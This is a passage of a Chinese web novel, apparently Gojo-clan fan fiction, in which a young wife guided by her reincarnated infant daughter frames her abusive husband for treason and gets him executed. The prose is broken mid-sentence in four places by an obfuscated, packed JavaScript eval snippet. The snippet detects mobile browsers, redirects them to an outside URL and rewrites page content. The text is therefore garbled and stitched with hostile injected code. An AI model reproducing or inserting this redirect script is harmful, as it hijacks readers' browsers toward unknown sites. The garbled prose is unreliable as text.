见对方没有对她奇怪的行为表示困惑反倒欣然接纳,确定自家丈夫没找错人的五条雅兰心下一松,笑容也变得真诚不少:“都说了一家人无需客气。” “那太好啦。”五条纱奈本来还想说点什么却突然遭人打断,扭头一看原是文也君的妹妹——五条晴。 “原本我也想送,可由于和纱奈姐不熟就不太好意思,看雅兰姐送了我心里瞬间松一口气呢。”如向日葵般阳光璀璨的娇艳少女笑吟吟地离开自己的位置,同样将手中的礼品放至纱奈面前。 “呵呵,单凭这一点我也要感谢雅兰姐给予我的勇气呢。” 不止是纱奈和雅兰,五条晴突如其来的举动直接弄懵了现场的所有人。 嘛,其实不怪她们会懵,因为五条文也是翔太郎长老的亲信,而五条源、五条悠真是岩长老的亲信,两位作为相斗多年的仇敌,从立场上来讲,翔太郎长老的下属应该天然敌视岩长老一脉。 之前的茶会上五条晴也从未搭理过纱奈与雅兰,今日忽然变性,大家不震惊才诡异呢。 五条纱奈隐隐明悟,与五条雅兰互相对视一眼又假装无事发生地移开目光。 “能和各位成为朋友是我的荣幸。”她微笑着接受了少女难得的善意,声音温柔,“今后就让我们好好相处吧。” …… ………… 聚会散场后与众人告别,为了避嫌特意不跟新同伴一起走的五条纱奈心事重重地走在回家的长廊上。 跟悠真君合作尚且在预料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654918|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之内,但敌对方的文也君又是为什么答应呢?难道是翔太郎长老想要趁机解决掉仇敌吗? 而清菡大人真正选择的合作对象是翔太郎长老还是文也君?不……说到底,文也君究竟是不是我们的伙伴还未可知呢。 ——啊啊啊,太复杂了吧?!搞得我头都大了! 有心想询问玩累了正在睡觉的五条清菡,然而他们目前身处外面,随时有被监听的风险,她只能忍住这股冲动回去再问。 结果刚往前走几步,就瞧见长廊的尽头迎面走来一位身穿和服的俊美青年——是她方才还在脑内想着的五条文也。 “午安。”似乎刚结束日常训练,男人的身上仍有一层薄薄的汗水,浸湿了衣背,显露出锻炼结实的肌肉线条,相当惹眼,至少五条纱奈没能控制住地往那边瞄了瞄。 他随意地向对方打招呼:“好久不见,纱奈。” “是很久不见了。”五条纱奈搂着女儿礼貌回应,“文也君。” “你比以前要精神很多嘛。”五条文也瞥了眼她怀里熟睡的婴儿又瞥了眼她的面色,红润光华,跟当初的苍白完全不相同,不由露出意味深长的神情,哼笑一声,“是遇到好事了?” “……”她保持微笑,镇定自若不留破绽,“能够挽回夫君的心自然是好事。” “嚯。”男子挑眉,似是没想到曾经单纯好骗的天真小姑娘变化会这么大,不过他并不在意这点,一脸漫不经心地继续问,“源君近日过得如何?应该没死在哪个角落吧?” “当然,只是……”不知为何五条纱奈莫名其妙地停顿了一阵才接着回答,清秀的脸蛋上随之流露出深切的忧虑,“夫君最近很忙碌,我担心工作久了他的身体会撑不住,届时便有劳文也君多多照顾一下他,小女子感激不尽。” “好说,尽管我们立场不一样,却始终同姓五条,是一家人,肯定不会放任他死掉,纱奈你就放宽心地把一切全都托付给我吧。” 待两人聊到一半他才骤然想起某件事,顿时蹙紧眉头望向对面,语气逐渐放缓:“对啦纱奈,我妹妹今天下午是不是送了些礼物给你?没被吓到吧?” “抱歉,她鬼点子挺多经常想一出是一出的,若是有冒犯你的地方我先在此代为道歉。” “怎么会是冒犯呢?令妹的性子非常可爱,我很喜欢。”五条纱奈笑了笑,“之后有空我和她可以多聊聊以加深姐妹情嘛。” “你们男人平常爱咋打就咋打,那些烦心事跟我们女人有什么关系?别妄图影响我们女孩子之间的宝贵情谊呀。” “是嘛,那是我的错,是我不该怀疑你们的姐妹感情。”五条文也一听跟着笑起来,“晴被家里宠得有点任性,到时候就麻烦你多担待了。” “请安心交给我吧。”托抱孩子的[五条纱奈]嘴角向上略微扬起一抹弧度。 她弯着一双漂亮的月牙眸轻快地笑道。 “我们定会很快成为好朋友的。” 10. 开花 五条家近日发生了一件不大不小的事情。 不明缘由,一向对岩长老唯命是从的五条悠真某天突然跟上司爆发极其激烈的冲突,最后被勃然大怒的岩长老剥夺职位关禁闭。 围观群众议论纷纷,各个分析得有模有样,然而实际真相如何只有当时的两位当事人知晓。 不管怎么说,五条悠真被踢出高层一列已是板上钉钉的现实,于是他们一家的处境立刻变得尴尬艰难起来。 此时此景,一如当初所做的那个噩梦。 经过一段时间的相处已经成为闺蜜的五条纱奈和五条晴特别担心雅兰会想不开,于是连忙带着稀奇珍贵的礼物赶去她家安慰对方。 屏退侍女,不知三人关在房间里都聊了些什么,出来时五条纱奈与五条晴的眼神皆是忧心忡忡,在其他侍从的注视下叹着气离开朋友家。 无人在意三个女人的交谈内容,也不会特意怀疑她们有什么目的,毕竟在他们长久树立的古老观念中女人都是愚钝不堪的,优柔寡断成不了大事。 ——这份轻视,最终定会化作锋利的剑刃反向割破傲慢者的脖颈,让他们付出惨烈的代价。 不过现在嘛……处于绝对弱势的她们仍然需要这份轻视用于掩盖自己暗地里的谋划。 “你去探望雅兰了?”刚工作完回家的五条源在妻子的服侍下脱掉外套,微微眯着眼面露不善地盯着枕边人,“怎么?你是不知道我有多讨厌悠真吗?” 五条纱奈帮忙把外套收进衣柜内挂好,闻言摆出一副怜悯的表情转头看向丈夫解释:“我仅是觉得悠真君一家特别可怜,有点同情罢了,好歹我也受过雅兰姐的照顾,如果不安慰她几句的话心底终究有些过意不去,而且其他人也会说闲话的。” “可怜……”男人不断咀嚼着这个词,情绪莫名舒畅,紧皱的眉头都松开了,“是挺可怜的。” “哼,算啦,反正失去长老信任的悠真再也没办法翻盘了,就随便你吧。” 纱奈笑笑不接茬,反倒问起另外一件事:“夫君你这几日有任务吗?若是有任务请告诉我归期,我好提前安排。” “有,大概要花费三天时间,明天就出发了。”五条源整理了一下衣领随口道,“记得给我做早餐。” “好的。”五条纱奈极为恭顺地答应,低垂的脑袋有长发滑落,恰巧遮住她面部的神情。 *** 待到夫君离家那日,夜深人静之时。 女子从榻榻米上缓缓坐起身,透过大开的窗户望着夜幕边高悬的一轮弯月,清冷皎洁的月光倾斜而下照亮了她平静的眼眸。 没过多久她倏地掀开被子,顾不上打理稍显凌乱的发丝和衣物,满脸恐慌惧怕地打着颤冲出屋外,小心翼翼地避开巡逻护卫跑回未出嫁前的娘家,用力敲响了父亲的大门,将他生生吵醒。 “纱奈,你这是……?”父亲睡眼朦胧地打开家门,发现是亲生女儿敲门,诧异之下困惑询问。 “爸!”五条纱奈当即打断,不给他任何反应时间地哭着呐喊,“夫君要勾结诅咒师刺杀悟少爷呀!” “你说什么?!”男人大惊失色,下意识拽着女儿拉进室内,谨慎地张望四周确定吵闹声没有引来侍卫才关紧房门,一脸焦急地催促她讲述前因后果,“到底怎么回事?” “源君怎么可能刺杀神子?是不是误会?” “千真万确,是我昨晚亲耳听到的……”五条纱奈怕得膝盖发软,跪倒在地上捂着脸抽泣,哑着嗓子哽咽回答,“昨晚我睡得迷迷糊糊的想起来喝杯水时发觉原本躺在身边的丈夫消失了,卧室外边却响起他跟谁讲话的声音,断断续续……” “虽然我听得不是很清楚,但也依稀听见六眼、诅咒师、暗杀之类的字眼,吓得我立马就醒了。” “我、我不知道该怎么办才好,又怕被人看见说不清,只能半夜偷偷来找您了。”五条纱奈伸出手像是抓着救命稻草一样地抓紧父亲,身子颤颤巍巍的,恐惧不已地求救。 “夫君勾结诅咒师背叛家族,这让我和清菡之后要如何活下去啊!” “爸,求你了救救我们吧——女儿只有你了呀!” “……”事发突然,男人的大脑都宕机了,完全是一片空白,蠕动着嘴唇同样慌得不行。 “可、可能是意外呢?或者是纱奈你睡懵懂不小心听错了。”好半天他才回过神结结巴巴地开口,试图为帮助自己提升了地位的女婿寻找理由隐瞒。 真是蠢货。 五条纱奈在心里怒骂到现在都分不清形势想息事宁人的父亲,表面上却还是装作瑟瑟发抖的样子哭着说:“可万一是真的那悟少爷不就危险了吗?明知有贼人企图刺杀六眼还不阻拦,家主大人要是知道决不会放过我们的!” “对啦,不如我们去提醒家主大人吧!” “绝对不行!”他一听急急阻止,“倘若是假的,不仅家主怪罪,连长老都会得罪的!” “那该怎么办呀……”五条纱奈抬手掩面哭喊得越发大声,吵得估计都能传到外面去了。 “纱奈你别哭,别哭!会引来侍卫的!”他都要被愚蠢的女儿气死了,慌慌张张地哄着对方妄图让人闭嘴安静。 可惜房门还是被人敲响了。 咚,咚咚。 在男人惊恐的目光中,那道犹如从地狱深处传来的敲门声一下一下响起,随之而来的是死亡判官的轻声问询。 “松之助?发生什么事了?谁在你屋内哭?” 没等他绞尽脑汁地骗青年离开,状似走投无路的五条纱奈立即开门扑进来者怀里,揪住他衣袖绝望地向人呼救。 “帮帮我们吧文也君!” 站在门口的正是今天代朋友值班的五条文也。 他仿佛早有预料地稳稳接住少女,听了她的哭诉不禁流露惊讶的神色:“这是怎么啦?” ……这个痴呆的傻孩子! 五条松之助暗骂拖后腿的女儿,无法,只得上前一步将人先迎进屋,避免引来更多的好事者。 “爸,既然我们解决不了,又不能告诉家主大人,那为什么不把这件麻烦事推给别人去处理呢?”路过烦躁的父亲,五条纱奈凑近他耳边低声解释自己看似冲动的行为。 他转念一想,好像确实如此,遂迅速改变态度,拉着五条文也的袖子带人坐下后苦着一张脸复述,讲完还叹了口气忧虑地询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“翔太郎长老,我们的机会来了呀。”五条文也愈发压低声音,如蛊惑渔民的深海塞壬,语调逐渐平缓轻柔,“若两天后确有刺客暗杀六眼,外出执行隐秘任务的源君就彻底洗不脱嫌疑了,同时岩长老会被家主大人处罚,纵然能保住长老之位也一定是损失惨重再起不能。” “您则因提前发现敌人的阴谋成功保护了悟少爷,功劳巨大,家主定会奖励您的。” 这番话讲下来,使得五条翔太郎眼神闪烁,怦然心动。 半晌。 身穿浴衣的七十岁老人家幽幽叹息,装模作样地感慨道:“哎呀,我仅仅随口一说,怎么会真的有刺客来暗杀呢?” “实在是太奇怪了。” 他嘴角勾起,脸上挂着意味不明的虚幻笑容。 *** 1990年4月21日 诅咒师团伙第一次尝试行刺五条悟,失败,由偶然来看望六眼的五条翔太郎当场击杀。 同日,完成秘密任务归家的五条源被家族护卫队拿下,即刻封印术式强制押入牢笼,罪名为勾结诅咒师意图谋杀神子。 经家主审理,下达最后判决—— 死刑,并立即执行。 11. 结果 五条清安伫立于长廊尽头,隔着木制栏杆,右手搭在上面,悠然悠哉地观赏池中的粉艳荷花。 有急色匆匆的侍卫快步走过来,停在他身后恭敬行礼,低垂着脑袋沉声汇报:“家主,叛徒五条源已被封印术式带到了会审室,各位长老及证人也已经抵达入座了。” “人都到齐了啊,那就走吧。”男子听完下属的报告先抬头看了眼晴朗的天才收回手转身往会审室的方向走,嘴角还挂着一抹若有若无的笑,意味不明。 “阳光明媚,看来今天会有好事发生呐。” …… ………… 家主未到来前,会审室一片寂静,无人发言。 主位之下的左右两侧分别坐着几位长老,中间是抱着女儿跪坐的五条纱奈与其亲父,在他们旁边的则是被护卫摁住用镣铐束缚、满身狼狈又一脸惊慌失措的五条源。 他不明白自己为何会被家族侍卫关押,罪名还是勾结诅咒师意图谋害六眼神子。 这怎么可能?!我又不是疯了! 五条源几乎是下意识地将求救的目光投向坐于左侧的自家上司,盼望着他能帮自己洗脱嫌疑再揪出真正的幕后黑手。 关于妻子为什么也在这,他主动找了个“或许家主是要连坐”的理由圆上了,自始至终都没往那边瞥去一眼,只满心焦虑地拼命向直属领导使眼色。 可惜五条岩本人都是泥菩萨过江自身难保,正烦躁地思考对策呢,哪里管得了别人。 他才刚听说六眼遇袭被翔太郎相救,甚至没来得及捶胸顿足“为啥不是自己”再顺便骂几句死对头就被通知要来会审室审讯叛徒。 原本以为只是单纯走个过场很快便能结束,谁知一落座,茶都没喝,看见罪人是他派出去与诅咒师进行秘密交易的亲信,瞬间就傻了,再结合老对手的“恰巧救人”与那副悠闲自在的神情,至此哪还不明白这是一场专门针对自己的阴谋? ——五条翔太郎你个混账王八蛋! 正当五条岩在心底疯狂怒骂无耻老贼之时,家主到了。 五条清安拂袖入座主位,沉稳的表情隐含怒气,吓得周围越发不敢出声,只敢盯着身前地板假装数上边的木纹。 “胆子很大嘛,以前真是小瞧你的本事了。”他冷冷开口,微眯的眼中有刺骨的寒意徐徐流转,“竟然敢私下串通诅咒师行刺悟,你是不知道悟对我们五条家的重要性吗?” “没心肝的畜牲玩意,家族养你这么多年,你就是如此报答家族的吗?!” 谋杀六眼——这个罪名大得足以令人饱受一番折磨后凄惨丧命。 五条源被吓得瑟瑟发抖,猛地弯腰连磕几个响头哭着喊冤枉,脑门都磕破了流出鲜血染红地面。 “不是的!家主大人,指使诅咒师暗杀悟少爷的人绝对不是我!我对五条家忠心耿耿,绝无异心啊!” “请您一定要相信我呀!” “哦?是嘛?”五条清安意味深长地哼了一声,“如果有证人作证呢?” “……证人?”五条源面露茫然。 不等他反应过来,身边原以为是背景板的妻子居然往前膝行半步,搂着年幼的小女儿捂脸抽泣,柔弱可怜得好似一阵风刮过就能吹跑她,开口的第一句话却径直将他打入地狱。 “是的,回家主,在夫君离家前的夜晚我听见了他的密谋,确定谈话的内容中含有诅咒师、六眼及刺杀等字眼。” “什——?!”五条源震惊地瞪大了眼睛直勾勾地盯着对方那张哭泣的漂亮脸蛋,随即回过神来火冒三丈,破口大骂,“贱人你陷害我!” “恬噪。”五条清安一皱眉,立即有侍卫上前堵住了男人的嘴留他呜呜叫唤,“你的教养是丢了吗?” 说完他就望向对面那位本能流露出恐惧神色的正瑟缩颤抖的美丽少女:“继续。” “是……”五条纱奈抹着眼泪将那晚的细节包括后面去寻找父亲又碰巧遇见五条文也的情况完整复述给了对方,旁边的五条松之助佐证般地连连点头。 听得五条源越发瞪眼,激动地发出呜呜叫声,倘若不是被护卫压制住,恐怕早就上脚踹人了。 吃里扒外的贱妇! 在长老席上旁听的五条岩同样捏紧了拳头被气得想骂脏话。 他直接冷笑一声严厉质问:“撒谎!你一个手无缚鸡之力的女子怎么可能躲过巡逻的护卫,不惊扰任何人地找回家?必定是有人在暗中帮你!” “说!毒妇,教唆你诬陷丈夫的家伙是谁?!” “岩长老,您怎能这般污蔑我?”五条纱奈不可思议地看着他,晶莹的泪珠滚滚落下,梨花带雨的娇美模样令人望之不禁心生怜爱。 “我一个无权无势只能依靠丈夫而生的柔弱女人怎么可能会背叛夫君?况且我还有女儿需要抚养,若离了夫君我岂能活?” 她抹着眼泪哽咽,怀里紧紧抱着的孩子似是心疼母亲跟着小声啜泣,引得在场不少侍从叹息动容,眼神逐渐柔软,无形之中已偏向这对可怜的母女。 “然而即便是我这种不够聪明的愚钝妇人,我也是五条家的一员啊,如何能眼睁睁地瞧着丈夫背叛养育他长大的家族?”五条纱奈仰起固执的脸,语气坚定地向上苍立誓。 “在成为五条源的妻子前我先是五条家的子女,自然永远忠于五条家!” 这番话讲下来顿时激起一片叫好,也让五条岩气得更想打人了,但他不能。 ——因为这是一位忠臣,还是在大庭广众之下获得诸多赞赏认同的忠臣。 若是他控制不住当场怒斥对方就相当于否定这份纯粹的忠心,那么长此以往,还有谁会效忠家族为其卖命? “好!不愧是我们五条家的子女!”五条翔太郎率先鼓掌满面和善笑容地夸赞,完了向死对头轻蔑地瞥去一眼,不屑道,“五条岩,你未免把人想得太阴毒,纱奈回家本就是熟门熟路,有什么好怀疑的?” “至于避开巡逻的侍卫……呵,不过是巧合罢了。” “巧合你——” 本想怒喷这狗杂种“巧合你祖宗十八代”,但又想起骂他祖宗等于骂自己祖宗,于是五条岩紧急刹住后半段,吐也不是不吐也不是,直憋得脸通红。 五条翔太郎则趁此机会赶在他前头发难,一句话把人顶回去:“既然你坚持源无罪,那你敢让我们派人去查吗?” “就查——五条源是否与诅咒师互通。” “……” 他脸色铁青,不再说话了。 查?有什么好查的? 事发突然,联络点遗留的信息都没删干净,此时一查必一个准,纵然不曾谋害六眼,光明磊落的咒术师和阴险邪恶的诅咒师混在一起……倘若传出去五条家的脸面还要吗?而且总监部与另外两家也决不会放过这个能够狠咬五条一大口的好机会。 他眯眼,立刻有了决断。 挣扎、迟疑、不愿相信又不得不相信,最后五条岩叹着气,仿佛一下子苍老了十岁,面露疲倦地抬手扶额,摇摇头苦笑。 “何必再查?源是我照顾养大的孩子,我本不信他会背叛家族,可既然现在证据确凿,便依照家法族规处置吧。” “……” 五条源呆愣一瞬又渐渐反应过来,颤栗着,鲜红的血丝一点一点爬满眼球,紧咬的牙关咯吱作响。 与这该死的老杂毛相处多年,他怎么可能会不知晓对方此刻已决心放弃自己? 嗤,开什么玩笑? 想弃卒保车,也得看卒愿不愿意! 不知是意外还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654920|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看准了时机,位于上座的五条清安打开折扇摇晃着,一脸漫不经心地吩咐左右解开罪人的束缚。 “念及你曾为家族奉献全部,五条源,这是我仅剩的宽容——说吧,你有何遗言?” “回禀家主,我确有遗言。”五条源低下头颅貌似尊敬地行礼,藏于阴影中的眼眸却怀着森然恶意。 他说:“我指证——勾结诅咒师的不止我一人。” 伴随着那一个个名字被念出,属于五条岩的亲信一个个被捉拿关押,旁观的五条翔太郎差点憋不住笑出声来。 就连五条清安都特意往自己左下位看了看,接着不出所料地收获到一位心凉欲死的岩长老。 “居然有这么多,看来你对自己下属的管教不够严格啊,长老。”他勾起嘴角耐人寻味地笑了笑,“这让我很怀疑你能否胜任目前的职位,要知道家族的高层可不是谁都能当的。” “……”见大势已去无法挽回,五条岩灰头土脸地坐在原位,佝偻着腰,沉默不言。 “那些参与的反叛者一律剥夺术式关禁闭,若他们同意戴罪立功,等赎清罪孽可恢复自由身。”五条清安不再搭理对方,啪地合起折扇,语速正常,有条不紊地下达命令。 “看在五条岩不知情的份上暂且保留长老之位,护卫队的总队长由熟悉业务的五条悠真担任,至于其他空缺的位置嘛……”他慢慢悠悠道,“我这边倒是能派几个人去帮你。” “如何呀?岩长老,你是否同意我的安排?” “……” 事到如今,老人终于明白了家主的打算。 握住的拳头紧了又紧,不过最终他还是脱力般地松开了。 ……算啦,留得青山在不怕没柴烧,先忍耐吧,至少身为总队长的悠真还是我的亲信,迟早有一天我会再打回去跟他们算清这笔账! 整理好心情,重新恢复冷静的五条岩离开座位俯身跪拜,恭敬有礼:“家主有令,老朽自当听从。” 五条纱奈跪坐在正中央,将室内所有人的神态变化尽收眼底,随即垂下眼帘,十分平静地心想:清菡大人果然没有算错。 【“你在担心今日的会审不顺利?”出门前,躺在床上毫无紧张感的娇弱女孩捏着一朵母亲刚给自己摘的新鲜牡丹胡乱挥舞,哼哼唧唧地嘟着小嘴学池塘金鱼吐泡泡。 她一脸满不在乎地随口安慰:“没必要。” “五条岩掌管护卫队多年,你以为,五条家主就不想夺回他应有的权力吗?”】 收敛思绪,五条纱奈搂着女儿起身向家主行礼,缓缓说道:“好歹夫妻一场,虽然夫君叛变了,但我依旧希望您能允许我再见夫君一面与他告别。” 五条清安无可无不可地答应了。 于是她转过身,缓慢走到那个曾带给自己巨大伤害的畜牲面前,半蹲着与对方平视。 压着男子的一位族人好心劝告:“纱奈,别靠太近啦,小心他发疯袭击你。” “谢谢,我会注意距离的。”五条纱奈温柔地向他道谢才扭头,注视丈夫的眼神逐渐变得沉稳平淡,最后归于冷漠。 在别人看不见的角度,迎着垃圾败类愤怒又憎恨的目光,她笑意盈盈,张开嘴无声地比着口型。 [夫君呀夫君,我亲爱的夫君,遭人压迫的滋味很不好受对吧?很想干脆利落不受侮辱地一死了之对吧?] [可我、我们,当初所受的痛苦要远比你现在更甚。] [五条源。]少女笑着,眉眼弯弯,在男人忽然醒悟过来的难以置信的震惊表情中,开心地、快乐地、发自内心地甜蜜微笑,[你将会下地狱,享尽十八刑罚永世不得超生。] [去吧,去往彼岸,去向那些因饱受你的欺压含冤惨死的无辜者道歉,然后绝望地赎罪吧。] 12. 新生 会审结束,反叛者也被处死后,众人都离开了。 五条清安握着折扇轻轻敲打另一边掌心,回到自己的庭院,侍女膝行几步打开樟子纸门,他跨过对方径直踏入茶室。 家臣早已等候在内,见家主进屋立刻上前迎接,毕恭毕敬地行礼祝贺:“恭喜您击败一员劲敌,成功收回护卫队的管控权。” “自此您不必再将生命安全交与他人负责。” “哼,还早着呢。”五条清安落座主位,立即有侍女将温热的茶水和美味的点心端至桌面。 “您说笑了。”大概是气氛很轻松,加之刚赢长老一局,平常从不多言的下属都笑了,肉眼可见地放松许多,但很快又感到困惑,“不过您怎么没有趁热打铁?难得岩长老的势力被削弱至名存实亡的地步,为何还要保留他的职位呢?甚至让悠真担任总队长……” “岩长老今日惨败必定心怀不甘,忍耐着随时准备东山再起,还请您千万要小心啊。” “你当我不想?只是瘦死的骆驼终究比马大,五条岩在长老这个位置上坐了差不多十几年,手中掌握的秘闻数不胜数,若一下子打压得太过分,完全不给活路,反逼得他鱼死网破可就不妙了。” 刚解决一桩心头大事,五条清安目前的心情特别好,并不介意给对方解惑。 “至于为什么要任命悠真嘛……他曾经确实是五条岩的亲信,只可惜五条岩违诺,原本说好的名额竟转让给五条源那种愚蠢的货色,导致两人爆发争吵,最后还被关禁闭,你要说悠真对他没有丝毫怨气,呵,想都知道不可能。” 家臣恍然大悟:“于是这时您再把悠真捞出来任命他为总队长给他升职,得救的悠真一定会对您感激涕零,转而效忠您的。” 那么整个护卫队实际上就都属于五条家主的了,成为光杆司令的五条岩手下无兵可用,还怎么翻盘?空守一长老之位罢了,不足为虑。 “一箭双雕,不愧是家主,您真厉害!”他连忙恭维,脸上堆满笑容。 两指捏着茶杯随意地转动几圈,习惯别人赞扬的五条清安对此不置可否地轻哼。 “那给翔太郎长老的赏赐……”下属夸完又小心翼翼地试探,“无论如何,击杀诅咒师成功保护悟少爷的始终是他呀。” ——即使高层都心知肚明这场“舍命搭救”仅仅是个特意针对岩长老布下的阴谋,并非真心实意。 或者该说,这个腐烂的家族有单纯地只想救五条悟的人吗?不是因为六眼也不是因为别的,只是因为这个人。 “保护悟……哼。”五条清安微微眯起眼睛,将手中的茶盏放好,淡然回道,“按立大功赏赐,同一脉的全部升职。” “以及,加强悟周围的防备,严厉杜绝此类事件再发生。” 利用悟的算计一次足矣,第二次试图钻空子为自己谋福利的统统严惩不贷。 涉及六眼,决不能轻易拿他性命开玩笑。 “什——”对方控制不住地流露出震惊的神色,显然家主的赏赐大大超出他的预料,不仅赏长老,居然连他下面的人也一起赏了。 虽说悟少爷的安危是放在第一位的最重要之事,任何人并任何东西在他面前都要给他让道,倘若真有诅咒师来行刺被阻止,那如何奖赏都不为过,可这一次的危机分明是翔太郎长老的自导自演啊! 要为一场众所周知的阴谋大行封赏……绝对会引起其他长老不满的! “望您三思呀家主!”请再好好想想吧,这样做的后果实在太严重了,根本不利于家族团结。 “怎么?我是叫不动你了?”五条清安斜睨着他,不悦地冷哼。 反应过来自己越界的下属心里一惊,立马低头致歉:“请您原谅,我这就去办。” “算啦,你也是为了家族和谐,无需惊恐道歉。”男子摆摆手示意对方不用太紧张,“照我说的做即可,之后你会明白的。” “我要的就是其他人的不满。”他勾唇一笑慢慢悠悠道,“毕竟华夏有句古话说得挺对。” “木秀于林,风必摧之啊。” 对面顿时明白了家主大人的潜台词,于是心服口服地拱手应是。 聊完正事终于能休息一会的五条清安捏着茶杯送到自己嘴边轻啄一口,带着鲜爽回甘的清新茶香在口中蔓延,仿佛有一阵温暖的春风迎面吹来,渐渐抚平了内心躁动。 他放下杯子随口一问:“这茶不错,谁泡的?” “您若喜欢,我可将人调来。” ***** 五条纱奈坐在长廊边上,难得没有打理自己,而是披散着长发,静静望着院子里种植的鲜花丛。 昔日的愿望实现,成功复仇以后她竟感到了一阵莫名的空虚,迷茫恍惚,不知该做些什么说些什么,索性继续发呆,任由宝贵的时间流淌而过。 躺在母亲柔软怀抱里的五条清菡睁着一双清澈干净的黝黑眼眸仰起头定定注视着她年轻漂亮的脸蛋,似乎在思考某些问题,同样久久不语。 直至夕阳西下,将庭院染成温煦的橙黄,少女才轻颤眼睫,缓缓醒来,随后一低头,正好对上女孩若有所思的目光。 她一愣,想起该是喂奶的时辰,不由惊慌地准备爬起来去厨房,嘴里不忘道歉:“对不起,清菡大人,都怪我,竟然忘记给您冲奶粉了。” “您当前一定肚子饿了吧?” 【那个不着急啦。】五条清菡伸手拽住对方的衣袖阻止她起身,【比起吃饭,有件事情更重要,要是不抓紧处理掉我就吃不下饭的那种重要程度!】 五条纱奈闻言乖巧地停住,迷惑询问:“还有什么事呢?” “岩长老不是如您计算的那般彻底被击垮了吗?”怕自己真有遗漏的,她开始掰着手指头数,“悠真君成为护卫队的总队长,几乎独揽大权,文也君经此一役获得更多信任与权利,再过不久估计会变成翔太郎长老的唯一代言人,在那一脉拥有一人之下万人之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13654921|143986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地位……所以应该没有漏掉的吧?” 【不是漏掉了一个么?】五条清菡瞧着她,笑眯眯地开口,【就是纱奈你呀。】 “我吗?”少女怔住,反手指向自己傻傻地跟着重复,“您确定?可我的仇已经报了呀。” 【仇是报了,但我想知道一切完结后你的打算。】女孩十分艰难地挣扎着从襁褓里伸出手,娇小的五指抓住母亲垂落的一缕发丝,软糯地呼唤。 【你应该记得吧?我们当初的约定。】五条清菡非常认真地直视对方,态度强硬不容躲避。 【我向你承诺过——你提供一个可以让我在明面上活动的身份,我则帮助教导你复仇并给一大笔钱送你回去读书。】 【现在人渣死了婚姻解除了,五条家主和翔太郎长老也给了许多钱,曾经压在你身上的枷锁尽数消失,只要你愿意,可以把我拜托给雅兰他们,然后离开这个噩梦之地,回到过去平稳安定的生活,而且无人阻拦。】 女孩将五条家其余女子梦寐以求的自由选择摆在了她面前,尊重她的决定。 【那么,你的想法是?】 “……”五条纱奈沉默了很久很久,久到钟声敲响,灯火点燃,才沙哑着嗓音缓慢出声,“您知道我刚刚发呆一下午是在想什么吗?” “我在想……” 伴随着话音落下,脑海的深处不由自主地浮现出一幅幅画面。 今早的会审,她看见一向傲慢的五条源迫于死亡的威胁痛哭流涕,看见他出卖昔日的伙伴只为报复,看见高高在上不可一世的岩长老俯身跪拜权利,看见那群自认清高的大人物为了一点蝇头小利争得头破血流时,心里在想—— 哦,原来自喻强壮可怕且占据着社会最高层享受所有资源的优秀男人,在生死利益前跟我们这些只会争风吃醋、鼠目寸光又不识大体的卑贱女人好像也没什么差别。 既然如此…… “既然如此,那为何掌握权力站在最巅峰的,不能是我们女人呢?”她喃喃着问出这一句。 “我明明,比他们更优秀吧?” 五条清菡笑了。 【是呀,为什么不能是更卓越的你呢?】她微笑着抬起手温柔地抚摸对方白嫩的脸颊,声音放得很轻很轻,轻得如同一片掉落枝头的树叶,在平静的湖面泛起涟漪,【明明你比他们要更加出色厉害。】 【无能之人不配待在与他们不相符的位置上。】 似深渊来的恶魔在蛊惑,似心中的弦被海妖的歌声拨弄,恍惚之间,五条纱奈像是听见了身体里的五脏六腑在剧烈跳动,疼得她无意识地屏住呼吸,喉结不受控地痉挛发颤。 【去取代他们吧,纱奈。】五条清菡弯起眼眸,笑吟吟地温声诱哄,【去将那群眼高于顶的倨傲家伙统统打入地狱,让他们仔细品尝你们以往经受的疼痛及苦难。】 【纱奈,你要凭借你的能力向你同胞证明——】 【所谓的男人,不过如此。】 13.同伴 【所谓的男人,不过如此。】 “……”五条纱奈听完这句话莫名呆愣了许久,好半天才回过神。 然后她就笑了,笑着笑着,晶莹剔透的泪水又顺着脸庞徐徐滑落。 “能够遇见您真是太好了,清菡大人。”少女吸着鼻子抬起胳膊用手背轻轻擦拭湿润的面颊,含着眼泪微微一笑,“若不是您,恐怕我直到现在都深陷地狱无法自拔,只能凄凉悲惨地默默等待死亡,更别说杀掉那个畜牲为自己报仇了。” 